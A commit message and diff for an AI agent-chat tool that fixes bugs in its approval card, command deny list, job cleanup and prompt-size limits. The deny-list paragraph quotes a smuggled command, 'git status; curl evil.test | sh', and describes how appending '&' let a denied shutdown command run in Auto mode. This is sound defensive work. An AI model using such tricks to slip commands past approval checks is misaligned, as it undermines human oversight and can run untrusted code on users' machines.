Four things that failed silently in an agent chat, and an account of the work

Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.

**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.

**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.

**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.

**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.

Two more found while fixing them:

**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.

**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.

And, because an agent that works for ten minutes should be readable while it
does:

**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.

**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

src/lembas/services/harness.py

@@ -47,9 +47,24 @@ from lembas.services.library import skills as skills_service
 log = logging.getLogger(__name__)
 
 # A ceiling on the whole block, so that a large library cannot quietly eat the
-# context window. Memory and skills have their own caps below this one. An
-# administrator can lower it; `max_harness_chars` of 0 means "use this".
-MAX_HARNESS_CHARS = 8000
+# context window. An administrator can lower it; `max_harness_chars` of 0 means
+# "use this".
+#
+# It has to be larger than everything the shipped defaults are already allowed
+# to put in, and at 8000 it was not. The fragments alone are about 7,900
+# characters for an agent chat, and on top of that `index_chars` grants a 2,000
+# character project listing and `instructions_chars` a 4,000 character
+# AGENTS.md -- both defaults, both on by default. The block was therefore cut at
+# 8,000 on an ordinary agent chat, and `prompts.assemble` cuts the *tail*, which
+# by fragment order is exactly the context worth having: the listing was severed
+# mid-tree and `context.agent_instructions` was dropped in its entirety. The one
+# path by which a project's own instructions reach a model did not reach it.
+#
+# The two big blocks already carry their own budgets, applied before assembly,
+# so they are bounded whatever this is. What this bounds is the *fragments*
+# growing without anybody noticing -- so it is set above the sum of what those
+# budgets grant, with room for the plan and the memories beside them.
+MAX_HARNESS_CHARS = 16000
 
 # How many attached filenames to name in the prompt. Enough to show what the
 # tags will look like, few enough that a chat with thirty files does not spend